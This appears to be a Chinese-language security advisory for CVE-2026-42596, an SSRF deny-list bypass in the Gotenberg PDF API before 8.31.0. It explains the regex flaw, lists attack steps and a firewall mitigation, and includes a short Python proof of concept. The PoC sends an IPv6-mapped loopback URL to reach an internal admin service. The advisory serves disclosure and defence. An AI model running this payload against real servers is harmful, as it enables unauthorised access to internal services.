IPBUF安全漏洞报告
English
CVE-2026-42596 CVSS 9.4 严重

CVE-2026-42596 Gotenberg 访问控制绕过漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-42596
漏洞类型
访问控制绕过
CVSS评分
9.4 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Gotenberg

相关标签

SSRF访问控制绕过GotenbergCVE-2026-42596严重漏洞

漏洞概述

Gotenberg是一个基于Docker的无状态PDF API。在8.31.0版本之前,其`downloadFrom`和webhook功能的默认拒绝列表可被绕过。由于过滤器基于正则且区分大小写,未认证攻击者可通过构造特定URL(如IPv6映射地址)访问本机或私有服务,迫使服务器向内部目标发起请求。

技术细节

漏洞源于Gotenberg用于阻止内网访问的正则过滤器存在逻辑缺陷,特别是对大小写敏感及IPv6格式的处理不足。攻击者可利用`http://[::ffff:127.0.0.1]:port`格式的URL绕过黑名单检查。解析时,该地址指向本地回环接口,导致原本应被拦截的请求被服务器执行,从而实现SSRF(服务端请求伪造)攻击,探测或攻击内部网络服务。

攻击链分析

STEP 1
侦察
攻击者发现目标系统运行着Gotenberg服务,并确认版本低于8.31.0。
STEP 2
构造载荷
攻击者构造包含IPv6映射IPv4地址的URL(如http://[::ffff:127.0.0.1]:port),以规避基于正则的敏感词过滤。
STEP 3
发送请求
攻击者向Gotenberg的API接口发送包含恶意URL的请求,无需身份验证。
STEP 4
内网探测/攻击
Gotenberg服务器解析请求,访问内部回环地址,将内部服务的响应返回给攻击者或执行内部操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (replace with actual Gotenberg instance) target_url = "http://localhost:3000/forms/chromium/convert/url" # Malicious payload using IPv6 mapped IPv4 to bypass deny-list # This attempts to access the local server's metadata service or internal app malicious_url = "http://[::ffff:127.0.0.1]:8080/admin" data = { "url": malicious_url } try: response = requests.post(target_url, data=data) if response.status_code == 200: print("[+] Potential bypass successful, check response content.") print(response.text) else: print("[-] Request failed or blocked.") except Exception as e: print(f"Error: {e}")

影响范围

Gotenberg < 8.31.0

防御指南

临时缓解措施
若无法立即升级,建议在网络层面通过防火墙或安全组限制Gotenberg容器的出站访问权限,实施严格的网络分段,禁止其访问非必要的内网私有IP地址段。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表